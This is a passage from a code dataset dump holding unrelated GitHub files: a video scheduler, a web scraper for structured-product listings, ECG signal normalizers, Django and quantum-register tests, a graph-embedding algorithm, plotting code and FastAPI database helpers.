self.algorithm(accuracy, self.debug_func)\n self.interval_info[\"frame_interval\"] = current_frame_rate\n self.interval_info[\"model\"] = current_model\n self.interval_info[\"interval_cost\"] = current_cost\n return self.interval_info\n\ndef main():\n test_scheduler = AdaptiveScheduler()\n test_scheduler.load_video_profile(\"/your/path/to/this/repository/videoanalysis/demo2\")\n path = \"./algorithm_result\"\n for item in [ 60, 80, 100, 150, 300]:\n with open(f\"{path}/algorithm_with_{item}.csv\", 'w') as f:\n writer = csv.writer(f)\n writer.writerow(['model', 'memory', 'frame_rate', 'single_cost', 'possibility_to_change'])\n def f(*args):\n writer.writerow([*args])\n test_scheduler.debug_func = f\n test_scheduler.get_frame_rate = test_scheduler._get_frame_rate_test\n test_scheduler.r = item\n test_scheduler.get_time_interval_info(0.85, 1)\n \nif __name__ == \"__main__\":\n main()","repo_name":"STAR-Tsinghua/ServerlessVideoAnalytics","sub_path":"scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":11090,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"37182657572","text":"\n'''\npage = 2\n\n# if there is a text \"no reslts found included we do not wantt to proceed!\" -> this text has the class \"no-results-found__Wrapper-bsj5n8-0\"\n\nsinglePageUrl = \"https://www.gs.de/en/products/investment/bonus-certificates?issuer=gswp&order-by=undefined_asc&page={}&view=simple\".format(page)\n\nsel.css('.shout')\n'''\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nclass GoldmanSachsReader:\n def __init__(self):\n\n categories = ['bonus-certificates']\n\n self.extractData(categories)\n\n\n def getPageContent(self, category, page):\n link = \"https://www.gs.de/en/products/investment/{}?issuer=gswp&order-by=undefined_asc&page={}&view=simple\".format(category, page)\n site = requests.get(link)\n soup = BeautifulSoup(site.content, 'html.parser')\n all_rows = soup.find_all('a', class_='row')\n products_found = []\n for p in all_rows:\n issuer = p.find('div', class_='issuer-label').text\n if not issuer == \"Goldman Sachs\":\n continue\n # product category\n category = p.get('href').split(\"/\")[4]\n # ISIN\n id = p.get('href').split(\"/\")[6]\n products_found.append([id, category])\n\n sublink = soup.findAll(\"a\", {\"aria-current\": True})[-1].get('href')\n nextpage = int(sublink.split(\"page=\")[1].split(\"&\")[0])\n\n if not nextpage > page:\n nextpage = False\n else:\n nextpage = True\n\n return products_found, nextpage\n\n\n def writeFile(self, content):\n pass\n\n def extractData(self, categories):\n page = 1\n nextpage = True\n\n all_products = []\n\n for c in categories:\n\n products_per_category = []\n\n while nextpage:\n products, nextpage = self.getPageContent(c, page)\n [products_per_category.append(sl) for sl in products]\n print(products_per_category)\n if nextpage:\n page += 1\n\n [all_products.append(sl) for sl in products_per_category]\n print(all_products)\n # now we can proceed with the next category / link\n\n\n self.writeFile(all_products)\n\n\n","repo_name":"janick187/sp-handler","sub_path":"src/GoldmanSachs.py","file_name":"GoldmanSachs.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36169775558","text":"# TODO\n# - train an LFP decoder\n# - run an LFP decoder\n# - CLDA\nimport matplotlib.pyplot as plt\nimport os\nimport pyaudio\nimport serial\nimport pandas as pd\nimport numpy as np\nimport unittest\nimport time\nimport tables\n\n\nfrom features.hdf_features import SaveHDF\nfrom riglib import experiment\nfrom riglib import sink\nfrom features import serial_port_sensor\nfrom riglib import source\nfrom built_in_tasks.passivetasks import TargetCaptureVFB2DWindow\n\n\nclass SimLFPSensor(serial_port_sensor.SerialPortSource):\n dtype = np.dtype([(\"ts\", \"f8\"), (\"lfp\", \"f8\")])\n default_response = np.zeros((1,), dtype=dtype)\n\n START_CMD = b'a\\n'\n STOP_CMD = b'b\\n'\n\n def start(self):\n super(SimLFPSensor, self).start()\n time.sleep(1)\n print(\"sending start command\")\n self.port.write(self.START_CMD)\n\n def stop(self):\n time.sleep(1)\n print(\"sending stop command\") \n self.port.write(self.STOP_CMD)\n super(SimLFPSensor, self).stop()\n \n\n\nclass SimLFPSensorFeature(object):\n def init(self):\n super().init()\n self.sensor_src = source.DataSource(SimLFPSensor, send_data_to_sink_manager=True, \n port=\"/dev/cu.usbmodem1A121\", baudrate=115200, name=\"sim_lfp\")\n\n sink.sinks.register(self.sensor_src)\n\n def run(self):\n self.sensor_src.start()\n try:\n super().run()\n finally:\n self.sensor_src.stop()\n\n\nclass SimLFPOutput(object):\n # audio_duration = 0.1 # update amplitudes/frequencies of outputs at 10 Hz\n audio_fs = 44100 # sampling rate, Hz, must be integer \n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n if not hasattr(self, 'fps'):\n self.fps = 60\n self.audio_duration = 1.0/self.fps * 8 # TODO why is this factor necessary?\n self.samples_all = []\n\n def init(self):\n super().init()\n os.environ[\"OBJC_DISABLE_INITIALIZE_FORK_SAFETY\"] = \"YES\"\n fs = self.audio_fs\n self.audio_p = pyaudio.PyAudio()\n self.audio_stream = self.audio_p.open(format=pyaudio.paFloat32, channels=1, rate=fs, output=True)\n\n self.audio_t = np.arange(fs*self.audio_duration) * 1.0/fs\n self.phase = 0\n\n def _cycle(self):\n # frequency should be modulated by direction, amplitude should be modulated by speed\n vel = self.decoder[['hand_vx', 'hand_vz']]\n speed = np.linalg.norm(vel)\n direction = vel / speed\n angle = np.arctan2(direction[1], direction[0])\n if np.isnan(angle):\n angle = 0\n\n amp = speed / 7.5\n if amp > 0.75:\n amp = 0.75\n freq_modulation_range = 40 # Hz\n freq_base = 370\n f = angle / np.pi * freq_modulation_range/2 + freq_base\n wave_period = 1.0/f\n \n samples = amp * np.sin(2 * np.pi * f * self.audio_t + self.phase)\n self.phase += ((self.audio_duration / wave_period) % 1) * 2*np.pi\n self.samples_all.append(samples)\n self.phase = self.phase % (2 * np.pi)\n\n # old version, fixed frequency\n # samples = 0 \n # if self.cycle_count < 300:\n # freq = 280\n # else:\n # freq = 240\n\n # for f, amp in [(freq, 0.75)]:\n # samples += amp * np.sin(2 * np.pi * f * self.audio_t)\n\n\n samples = samples.astype(np.float32)\n\n # play the audio\n self.audio_stream.write(samples)\n # self.audio_t += self.audio_duration\n super()._cycle()\n\n def run(self):\n super().run()\n self.audio_stream.stop_stream()\n self.audio_stream.close()\n self.audio_p.terminate() \n\n\nTestFeat = experiment.make(TargetCaptureVFB2DWindow, feats=[SaveHDF, SimLFPSensorFeature, SimLFPOutput])\n# TestFeat.fps = 5\nseq = TargetCaptureVFB2DWindow.centerout_2D_discrete(nblocks=2, ntargets=8) \nfeat = TestFeat(seq, window_size=(480, 240))\n\nfeat.run_sync()\n\ntime.sleep(1)\nhdf = tables.open_file(feat.h5file.name)\nos.rename(feat.h5file.name, \"test_vfb_real_time_audio_feedback.hdf\")\n\nsaved_msgs = [x.decode('utf-8') for x in hdf.root.task_msgs[:][\"msg\"]]\n\nlfp = hdf.root.sim_lfp[:]['lfp'][:]\nts = hdf.root.sim_lfp[:]['ts']\n\nplt.figure()\nplt.plot(hdf.root.sim_lfp[:]['lfp'])\nplt.show()\n\nplt.figure() \nplt.plot(np.log(np.abs(np.fft.fft(hdf.root.sim_lfp[:]['lfp'])))) \nplt.show()\n\nplt.figure()\nplt.specgram(lfp, Fs=1.0/(np.mean(ts) * 1e-6))\nplt.show()\n\n\n\nsamples_all = np.hstack(feat.samples_all) \nplt.figure()\nplt.plot(samples_all) ","repo_name":"carmenalab/brain-python-interface","sub_path":"tests/integration_tests/test_vfb_real_time_audio_feedback.py","file_name":"test_vfb_real_time_audio_feedback.py","file_ext":"py","file_size_in_byte":4620,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"74912156568","text":"#\n# @lc app=leetcode id=404 lang=python3\n#\n# [404] Sum of Left Leaves\n#\n\n# @lc code=start\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def sumOfLeftLeaves(self, root: Optional[TreeNode]) -> int:\n def bfs(start):\n queue = [[start, 0]]\n res = 0\n for x in queue:\n node, direction = x\n if node.left:\n queue.append([node.left, -1])\n if node.right:\n queue.append([node.right, 1])\n if node.left is None and node.right is None and direction == -1:\n res += node.val\n\n return res\n return bfs(root)\n\n\n# @lc code=end\n","repo_name":"kartikey20/Leetcode","sub_path":"404.sum-of-left-leaves.py","file_name":"404.sum-of-left-leaves.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36908941912","text":"\"\"\"\nnormalization of the signals\n\"\"\"\n\nfrom typing import NoReturn, Any, Union, Tuple, List\nfrom numbers import Real\n\nimport numpy as np\n\nfrom .base import PreProcessor\nfrom ..utils.utils_signal import normalize\n\n\n__all__ = [\n \"Normalize\",\n \"MinMaxNormalize\",\n \"NaiveNormalize\",\n \"ZScoreNormalize\",\n]\n\n\nclass Normalize(PreProcessor):\n \"\"\"\n perform z-score normalization on `sig`,\n to make it has fixed mean and standard deviation,\n or perform min-max normalization on `sig`,\n or normalize `sig` using `mean` and `std` via (sig - mean) / std.\n More precisely,\n\n .. math::\n \\begin{align*}\n \\text{Min-Max normalization:} & \\frac{sig - \\min(sig)}{\\max(sig) - \\min(sig)} \\\\\n \\text{Naive normalization:} & \\frac{sig - m}{s} \\\\\n \\text{Z-score normalization:} & \\left(\\frac{sig - mean(sig)}{std(sig)}\\right) \\cdot s + m\n \\end{align*}\n \"\"\"\n __name__ = \"Normalize\"\n\n def __init__(self,\n method:str=\"z-score\",\n mean:Union[Real,np.ndarray]=0.0,\n std:Union[Real,np.ndarray]=1.0,\n per_channel:bool=False,\n **kwargs:Any) -> NoReturn:\n \"\"\" finished, checked,\n\n Parameters\n ----------\n method: str, default \"z-score\",\n normalization method, case insensitive, can be one of\n \"naive\", \"min-max\", \"z-score\",\n mean: real number or ndarray, default 0.0,\n mean value of the normalized signal,\n or mean values for each lead of the normalized signal,\n useless if `method` is \"min-max\"\n std: real number or ndarray, default 1.0,\n standard deviation of the normalized signal,\n or standard deviations for each lead of the normalized signal,\n useless if `method` is \"min-max\"\n per_channel: bool, default False,\n if True, normalization will be done per channel\n \"\"\"\n self.method = method.lower()\n assert self.method in [\"z-score\", \"naive\", \"min-max\",]\n self.mean = mean\n self.std = std\n self.per_channel = per_channel\n if isinstance(std, Real):\n assert std > 0, \"standard deviation should be positive\"\n else:\n assert (std > 0).all(), \"standard deviations should all be positive\"\n if not per_channel:\n assert isinstance(mean, Real) and isinstance(std, Real), \\\n f\"mean and std should be real numbers in the non per-channel setting\"\n\n def apply(self, sig:np.ndarray, fs:Real) -> Tuple[np.ndarray, int]:\n \"\"\" finished, checked,\n\n apply the preprocessor to `sig`\n\n Parameters\n ----------\n sig: ndarray,\n the ECG signal, can be\n 1d array, which is a single-lead ECG\n 2d array, which is a multi-lead ECG of \"lead_first\" format\n 3d array, which is a tensor of several ECGs, of shape (batch, lead, siglen)\n fs: real number,\n sampling frequency of the ECG signal,\n not used\n\n Returns\n -------\n normalized_sig: ndarray,\n the normalized ECG signal\n fs: int,\n the sampling frequency of the normalized ECG signal\n \"\"\"\n self._check_sig(sig)\n normalized_sig = normalize(\n sig=sig,\n method=self.method,\n mean=self.mean,\n std=self.std,\n sig_fmt=\"channel_first\",\n per_channel=self.per_channel,\n )\n return normalized_sig, fs\n\n def extra_repr_keys(self) -> List[str]:\n \"\"\"\n return the extra keys for `__repr__`\n \"\"\"\n return [\"method\", \"mean\", \"std\", \"per_channel\",] + super().extra_repr_keys()\n\n\nclass MinMaxNormalize(Normalize):\n \"\"\"\n Min-Max normalization, defined as\n\n .. math::\n \\frac{sig - \\min(sig)}{\\max(sig) - \\min(sig)}\n \"\"\"\n __name__ = \"MinMaxNormalize\"\n\n def __init__(self, per_channel:bool=False,) -> NoReturn:\n \"\"\" finished, checked,\n\n Parameters\n ----------\n per_channel: bool, default False,\n if True, normalization will be done per channel\n \"\"\"\n super().__init__(method=\"min-max\", per_channel=per_channel)\n\n def extra_repr_keys(self) -> List[str]:\n \"\"\"\n return the extra keys for `__repr__`\n \"\"\"\n return [\"per_channel\",] + super(PreProcessor, self).extra_repr_keys()\n\n\nclass NaiveNormalize(Normalize):\n \"\"\"\n Naive normalization via\n\n .. math::\n \\frac{sig - m}{s}\n \"\"\"\n __name__ = \"NaiveNormalize\"\n\n def __init__(self,\n mean:Union[Real,np.ndarray]=0.0,\n std:Union[Real,np.ndarray]=1.0,\n per_channel:bool=False,\n **kwargs:Any) -> NoReturn:\n \"\"\" finished, checked,\n\n Parameters\n ----------\n mean: real number or ndarray, default 0.0,\n value(s) to be subtracted\n std: real number or ndarray, default 1.0,\n value(s) to be divided\n per_channel: bool, default False,\n if True, normalization will be done per channel\n \"\"\"\n super().__init__(\n method=\"naive\",\n mean=mean,\n std=std,\n per_channel=per_channel,\n )\n\n def extra_repr_keys(self) -> List[str]:\n \"\"\"\n return the extra keys for `__repr__`\n \"\"\"\n return [\"mean\", \"std\", \"per_channel\",] + super(PreProcessor, self).extra_repr_keys()\n\n\nclass ZScoreNormalize(Normalize):\n \"\"\"\n Z-score normalization via\n\n .. math::\n \\left(\\frac{sig - mean(sig)}{std(sig)}\\right) \\cdot s + m\n \"\"\"\n __name__ = \"ZScoreNormalize\"\n\n def __init__(self,\n mean:Union[Real,np.ndarray]=0.0,\n std:Union[Real,np.ndarray]=1.0,\n per_channel:bool=False,\n **kwargs:Any) -> NoReturn:\n \"\"\" finished, checked,\n\n Parameters\n ----------\n mean: real number or ndarray, default 0.0,\n mean value of the normalized signal,\n or mean values for each lead of the normalized signal,\n std: real number or ndarray, default 1.0,\n standard deviation of the normalized signal,\n or standard deviations for each lead of the normalized signal,\n per_channel: bool, default False,\n if True, normalization will be done per channel\n \"\"\"\n super().__init__(\n method=\"z-score\",\n mean=mean,\n std=std,\n per_channel=per_channel,\n )\n\n def extra_repr_keys(self) -> List[str]:\n \"\"\"\n return the extra keys for `__repr__`\n \"\"\"\n return [\"mean\", \"std\", \"per_channel\",] + super(PreProcessor, self).extra_repr_keys()\n","repo_name":"DeepPSP/cinc2021","sub_path":"torch_ecg_bak/torch_ecg/_preprocessors/normalize.py","file_name":"normalize.py","file_ext":"py","file_size_in_byte":6859,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"38876044766","text":"from django.contrib.auth import get_user_model\nfrom django.test import TestCase\n\nfrom meetup.models import Profile, Program, ProgramCategory, Venue, MeetUp\n\nUser = get_user_model()\n\n\nclass ModelRelationshipTestCase(TestCase):\n \"\"\"This test class is for proving that the relationship among declared django models are organized successfully\"\"\"\n\n def test_user_has_the_profile(self):\n \"\"\"This test is for proving that a user has a profile\"\"\"\n self.user = User.objects.create_user('test@email.com')\n self.profile = Profile.objects.create(user=self.user, name='Noh Seho',\n slug='seho', organization='PyCon Korea')\n\n self.assertEqual(self.profile.user.email, 'test@email.com')\n self.assertEqual(self.user.profile.slug, 'seho')\n\n def test_program_has_a_program_category(self):\n \"\"\"This test is for proving that a program has a program category\"\"\"\n self.program_category = ProgramCategory.objects.create(name='Ruby', slug='ruby')\n self.program = Program.objects.create(title='How to migrate from ruby to python',\n brief='Have you ever write down the ruby code?',\n description='Then you should watch this program',\n category=self.program_category)\n\n self.assertEqual(self.program.category.name, 'Ruby')\n\n def test_speaker_has_a_program(self):\n \"\"\"This test is for proving that a speaker has a program\"\"\"\n self.user = User.objects.create_user('test@email.com')\n self.program = Program.objects.create(title='How to migrate from ruby to python',\n brief='Have you ever write down the ruby code?',\n description='Then you should watch this program',\n speakers=self.user)\n\n self.assertEqual(self.program.speakers, self.user)\n\n def test_venue_is_valid(self):\n \"\"\"This test is for proving that the venue information including lat, lon is correctly saved\"\"\"\n self.venue = Venue.objects.create(name='Seoul City Hall', latitude=37.566676, longitude=126.978397)\n\n self.assertEqual(self.venue.name, 'Seoul City Hall')\n self.assertEqual(self.venue.latitude, 37.566676)\n self.assertEqual(self.venue.longitude, 126.978397)\n\n def test_meet_up_has_venue(self):\n \"\"\"This test is for proving that a meet-up has a venue\"\"\"\n self.venue = Venue.objects.create(name='Seoul City Hall', latitude=37.566676, longitude=126.978397)\n self.meet_up = MeetUp.objects.create(title='Python User Group Bimonthly Seminar', venue=self.venue)\n\n self.assertEqual(self.meet_up.venue.name, 'Seoul City Hall')\n self.assertEqual(self.venue.meetup_set.get(id=self.meet_up.id).title, 'Python User Group Bimonthly Seminar')\n","repo_name":"pythonkr/seminar","sub_path":"meetup/tests/test_model_relationship.py","file_name":"test_model_relationship.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"14312072956","text":"import numpy as np\nimport numpy.random as npr\nfrom scipy.sparse import csc_matrix\nfrom sklearn.preprocessing import normalize\nfrom math import ceil\nfrom gensim.models import Word2Vec\n\n'''\nfeatur1 is the first feature matrix\nalpha1 is the weight for the first feature matrix, 0 <= alpha1 <= 1\nfeatur2 is the second feature matrix\nalpha2 is the weight for the second feature matrix, 0 <= alpha2 <= 1, 0 <= alpha1+alpha2 <= 1\nNet is the last feature matrix, which describes the relations among instances, its weight is 1-alpha1-alpha2\nbeta is the small value threshold\nnum_paths is the number of feature walks to start at each instance\npath_length is the length of the feature walk started at each instance\ndim is the dimension of embedding representations\nwin_size is the window size of skipgram model\n'''\n\nclass featurewalk:\n def __init__(self, featur1, alpha1, featur2, alpha2, Net, beta, num_paths, path_length, dim, win_size):\n self.n = featur1.shape[0] # number of instance\n if alpha1+alpha2 < 1: # Embed Network\n Net = csc_matrix(Net)\n self.path_list_Net = []\n self.idx = []\n for i in range(self.n):\n self.path_list_Net.append(Net.getcol(i).nnz)\n self.idx.append(Net.getcol(i).indices)\n\n if alpha1 > 0: # Embed Feature 1\n self.featur1 = featur1\n if alpha2 > 0: # Embed Feature 2\n self.featur2 = featur2\n self.alpha1 = alpha1\n self.alpha2 = alpha2\n self.beta = beta\n self.num_paths = num_paths\n self.path_length = path_length\n self.d = dim\n self.win_size = win_size\n\n def throughfeatur(self): # Walk through Feature\n sentlist = []\n for i in self.allidx:\n for j in range(ceil(self.path_list[i] * self.weight)):\n current = i\n feai = self.idx[i][alias_draw(self.JListrow[i], self.qListrow[i])] # feature idx\n sentence = [self.idxListcol[feai][alias_draw(self.JListcol[feai], self.qListcol[feai])], i]\n for tmp in range(self.path_length - 2):\n feai = self.idx[current][alias_draw(self.JListrow[current], self.qListrow[current])] # feature idx\n current = self.idxListcol[feai][alias_draw(self.JListcol[feai], self.qListcol[feai])] # ahead\n sentence.append(current)\n sentlist.append([str(word) for word in sentence])\n return sentlist\n\n def function(self):\n max_memory = 233000000.0/self.path_length # 235000000 For 16GB\n bulidflag = True\n sentenceList = [] # All the walks will be here\n\n # Embed Net first, such that we could del Net earlier\n alpha = float(1 - self.alpha1 - self.alpha2)\n if alpha > 0: # Embed Network\n allidx = np.nonzero(self.path_list_Net)[0]\n if len(allidx) != self.n: # initialize with Network\n for i in np.where(np.asarray(self.path_list_Net) == 0)[0]:\n sentenceList.append([str(i)])\n splitnum = int(ceil(self.n * self.num_paths * alpha / max_memory)) # split because of memory limit\n for blocki in range(splitnum):\n weight = min(max_memory, alpha * self.num_paths * self.n - max_memory*blocki) / np.sum(self.path_list_Net)\n # path_list = [ceil(i * weight) for i in self.path_list_Net]\n for i in allidx:\n for j in range(ceil(self.path_list_Net[i] * weight)):\n sentence = [npr.choice(self.idx[i]), i]\n for tmp in range(self.path_length - 2):\n sentence.append(npr.choice(self.idx[sentence[-1]]))\n sentenceList.append([str(word) for word in sentence])\n if splitnum >= 2 and blocki != splitnum - 1: # If # Not enough memory, it is splited, and not the last iteration\n if bulidflag:\n model = Word2Vec(sentenceList, vector_size=self.d, window=self.win_size, min_count=0)\n bulidflag = False\n else:\n model.build_vocab(sentenceList, update=True)\n model.train(sentenceList, total_examples=len(sentenceList), epochs=model.iter)\n sentenceList = []\n del self.path_list_Net\n\n\n for alphaidx in range(2): # Embed Feature\n memory1 = len(sentenceList)\n if alphaidx == 0:\n alpha = float(self.alpha1)\n if alpha > 0:\n featur = normalize(csc_matrix(self.featur1), norm='l2')\n del self.featur1\n if alphaidx == 1:\n alpha = float(self.alpha2)\n if alpha > 0:\n featur = normalize(csc_matrix(self.featur2), norm='l2')\n del self.featur2\n\n if alpha > 0:\n if self.beta > 0:\n featur = featur.multiply(featur > self.beta * (featur.sum() / featur.nnz)) # remove small elements\n featur = featur[:, np.where((featur != 0).sum(axis=0) > 1)[1]].T\n\n self.path_list = []\n for i in range(self.n):\n self.path_list.append(featur.getcol(i).nnz)\n sumpath = np.sum(self.path_list)\n\n featur = normalize(featur, norm='l1', axis=0)\n self.qListrow = [] # for each instance\n self.JListrow = []\n self.idx = []\n for ni in range(self.n): # for each instance\n coli = featur.getcol(ni)\n J, q = alias_setup(coli.data)\n self.JListrow.append(J)\n self.qListrow.append(q)\n self.idx.append(coli.indices)\n self.qListcol = [] # for each feature\n self.JListcol = []\n self.idxListcol = []\n featur = normalize(featur.T, norm='l1', axis=0)\n for ni in range(featur.shape[1]): # for each feature\n coli = featur.getcol(ni)\n J, q = alias_setup(coli.data)\n self.JListcol.append(J)\n self.qListcol.append(q)\n self.idxListcol.append(coli.indices)\n del featur, coli, J, q\n\n self.allidx = np.nonzero(self.path_list)[0]\n if self.alpha1 + self.alpha2 == 1 and len(self.allidx) != self.n:\n for i in np.where(np.asarray(self.path_list) == 0)[0]:\n sentenceList.append([str(i)])\n\n memory2 = self.n * self.num_paths * alpha\n if memory2 < max_memory - memory1: # Enough Memory\n self.weight = memory2 / sumpath\n sentenceList.extend(self.throughfeatur())\n else: # Not Enough Memory\n self.weight = (max_memory - memory1) / sumpath\n sentenceList.extend(self.throughfeatur())\n if bulidflag:\n model = Word2Vec(sentenceList, vector_size=self.d, window=self.win_size, min_count=0)\n bulidflag = False\n else:\n model.build_vocab(sentenceList, update=True)\n model.train(sentenceList, total_examples=len(sentenceList), epochs=model.iter)\n sentenceList = []\n splitnum = int(ceil((memory2 + memory1) / max_memory - 1))\n for blocki in range(splitnum):\n self.weight = min(max_memory, memory2 + memory1 - max_memory * (blocki + 1)) / sumpath\n sentenceList.extend(self.throughfeatur())\n if blocki != splitnum - 1:\n model.build_vocab(sentenceList, update=True)\n model.train(sentenceList, total_examples=len(sentenceList), epochs=model.iter)\n sentenceList = []\n del self.path_list, self.JListrow, self.qListrow, self.idx, self.JListcol, self.qListcol, self.idxListcol, self.allidx\n if bulidflag:\n model = Word2Vec(sentenceList, vector_size=self.d, window=self.win_size, min_count=0)\n else:\n model.build_vocab(sentenceList, update=True)\n model.train(sentenceList, total_examples=len(sentenceList), epochs=model.iter)\n del sentenceList\n H = np.zeros((self.n, self.d))\n for i in range(self.n):\n H[i] = model.wv[str(i)]\n return H\n\n\n# Compute utility lists for non-uniform sampling from discrete distributions.\n# Refer to https://hips.seas.harvard.edu/blog/2013/03/03/the-alias-method-efficient-sampling-with-many-discrete-outcomes/\ndef alias_setup(probs):\n K = len(probs)\n q = np.zeros(K)\n J = np.zeros(K, dtype=np.int)\n smaller = []\n larger = []\n for kk, prob in enumerate(probs):\n q[kk] = K*prob\n if q[kk] < 1.0:\n smaller.append(kk)\n else:\n larger.append(kk)\n\n while len(smaller) > 0 and len(larger) > 0:\n small = smaller.pop()\n large = larger.pop()\n J[small] = large\n q[large] = q[large] + q[small] - 1.0\n if q[large] < 1.0:\n smaller.append(large)\n else:\n larger.append(large)\n return J, q\n\ndef alias_draw(J, q):\n K = len(J)\n # Draw from the overall uniform mixture.\n kk = int(np.floor(npr.rand() * K))\n # Draw from the binary mixture, either keeping the\n # small one, or choosing the associated larger one.\n if npr.rand() < q[kk]:\n return kk\n else:\n return J[kk]","repo_name":"DEEP-PolyU/FeatWalk_AAAI19","sub_path":"FeatWalk.py","file_name":"FeatWalk.py","file_ext":"py","file_size_in_byte":9797,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"31"} +{"seq_id":"20493480535","text":"# -*- coding: utf-8 -*-\n\nfrom misc.figFcns_TeX import *\n\n\nfigPlotParam = fcnDefaultFigSize(11.0, 0.15, 0.96, 0.15, 0.5, 13)\nfig = plt.figure(figNameNum, figsize=figPlotParam[0:2])\n\nsubPlots = gridspec.GridSpec(1, 1,\n height_ratios=[40]\n )\n# ------------------\nax = plt.subplot(subPlots[0])\n\n# ax.plot(t, y, lw=1.2, color='r', label='ODE solver')\nax.plot(timevector, y, lw=1.2, color='b')\n# ax.plot(t, dy)\n# ax.plot(time, yi, lw=1.2,color='r', linestyle = '-.')\n\n# ax.plot(t_log, y_log_lti + y_pb_log, '-', lw=0.3, color='C0', label='y(t) + $y\\_PB$(t)')\n# ax.plot(t_log, y[:, 0], '-', lw=0.3, color='C1', label='$\\\\varphi$')\n\n# ------------------\n\nfcnDefaultLayoutAdj(fig, figPlotParam[2], figPlotParam[3], figPlotParam[4], figPlotParam[5])\n\nfcnDefaultAxisStyle(ax)\n\nax.xaxis.set_minor_locator(AutoMinorLocator())\nax.yaxis.set_minor_locator(AutoMinorLocator())\n\n# ax.xaxis.set_label_coords(1.01, -0.08)\n# ax.yaxis.set_label_coords(-0.02, 1.05)\n\nax.set_xlabel(u'čas [s]', ha='center', va='center')\nax.set_ylabel(u'y(t)', ha='center', va='center')\n\n# -----------------------------\n\nhandles_ax, labels_ax = ax.get_legend_handles_labels()\n\n# -----------------------------\nax.legend(handles_ax, labels_ax, ncol=1, handlelength=1.2, loc=2, bbox_to_anchor=(1.01, 1.00))\nplt.savefig('Figures/char_rovnica/' + figName + '_{}'.format(figNameNum) +'.png', dpi=200)\nplt.savefig('Figures/char_rovnica/' + figName + '_{}'.format(figNameNum) +'.pdf')","repo_name":"lukasc552/Odborna_prax_scripty","sub_path":"misc/fcns.py","file_name":"fcns.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6573013069","text":"from settings import sms_db\nfrom fastapi import HTTPException\nfrom bson import ObjectId\nfrom models.Employee_role import EmployeeRole, Employeerole_modify, Role\ncol_Employee_role = sms_db.Employee_role\nfrom database.Employee_db import col_employee\n\nfrom database.auth import AuthHandler\n\nauth_handler=AuthHandler()\n\n\n\nasync def viewEmployee_role():\n employees=[]\n cursor = col_Employee_role.find({})\n\n for document in cursor:\n document['_id']=str(document['_id'])\n\n employees.append((document))\n return employees\n\nasync def searchEmployee_role(employee_id : str)->dict:\n\n document= col_Employee_role.find_one({\"_id\": ObjectId(employee_id)},{'_id': 0}) #ROLA WALA JAGA \n if not document:\n raise HTTPException(status_code=404, detail=\"Item not found\")\n return document\n\n\nasync def addEmployee_role(details):\n employeedetails= details\n col_Employee_role.insert_one(employeedetails) # Changing ki hab \n return True\n\nasync def modifyEmployee_role(employee_id:str , details):\n col_Employee_role.update_one({\"_id\": ObjectId(employee_id)}, {\"$set\": details})\n return {\"Succesfully updated the record\"}\n\nasync def deleteEmployee_roleid(employee_id:str):\n col_Employee_role.delete_one({'_id': ObjectId(employee_id)})\n return True","repo_name":"khizar596/sms_backend","sub_path":"database/Employee_role_db.py","file_name":"Employee_role_db.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7326164566","text":"class SpaceportModule:\n def __init__(self, spaceport_module, loc_data):\n self.key = list(spaceport_module)[0]\n self.name = loc_data.get('sm_' + self.key, self.key)\n module_data = spaceport_module[self.key]\n self.prerequisites = self._prerequisites(module_data)\n\n def _prerequisites(self, module_data):\n try:\n prerequisites = next(iter(\n subkey for subkey in module_data\n if list(subkey)[0] == 'prerequisites'\n ))['prerequisites']\n except (StopIteration):\n prerequisites = []\n\n return prerequisites\n","repo_name":"iHamsterball/stellaris_tech_tree","sub_path":"stellaris_tech_tree/game_objects/spaceport_module.py","file_name":"spaceport_module.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"31"} +{"seq_id":"651628878","text":"# Standard modules\nimport unittest\nimport numpy as np\nimport copy\n\n# pypSQUEAK modules\n# import pypsqueak.gates as gt\nfrom pypsqueak.gates import I, X, Z, H, CNOT\nfrom pypsqueak.api import qReg, qOp, qOracle\nfrom pypsqueak.errors import (IllegalCopyAttempt, IllegalRegisterReference,\n WrongShapeError, NonUnitaryInputError)\nfrom pypsqueak.noise import damping_map\n\n\nclass qRegSuccess(unittest.TestCase):\n\n def setUp(self):\n # Test register and operator\n self.test_reg = qReg()\n self.test_op = qOp()\n\n def test_known_measurement_results(self):\n '''\n Verifies that the proper post-measurement state occurs in several\n cases.\n '''\n\n # Measure |0> correctly\n self.assertEqual(0, self.test_reg.measure(0))\n np.testing.assert_array_equal(np.array([1, 0]),\n self.test_reg.dump_state())\n\n # Measure |01> correctly\n self.test_reg += 1\n X.on(self.test_reg, 0)\n self.assertEqual(1, self.test_reg.measure(0))\n np.testing.assert_array_equal(np.array([0, 1, 0, 0]),\n self.test_reg.dump_state())\n\n # Now let's measure the observable X on the\n # superposition state (|00> - |01>)/sqrt(2).\n H.on(self.test_reg, 0)\n self.assertEqual(-1, self.test_reg.measure_observable(I.kron(X)))\n\n def test_measurement_collapses_register_state(self):\n '''\n Check that a ``qReg`` in the normalized version of the state\n |00> + |10> correctly collapses on measurement of qubit 0 to either\n |00> or |10>.\n '''\n initiallySuperposedRegister = qReg(2)\n H.on(initiallySuperposedRegister, 1)\n 